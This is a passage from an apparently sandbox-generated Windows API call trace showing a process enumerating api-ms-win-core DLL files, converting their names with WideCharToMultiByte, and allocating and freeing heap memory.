(HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x38c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.457] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x38c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.457] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.457] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.457] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x38c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.458] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x38c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.458] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x38c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.458] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.458] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0028.458] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x38c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.459] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x38c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.459] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x38c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.459] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.459] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0028.459] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x38c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.460] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x38c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.460] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x38c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.460] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x38c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0028.460] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.460] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.461] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x38c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0028.461] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.461] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.461] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, 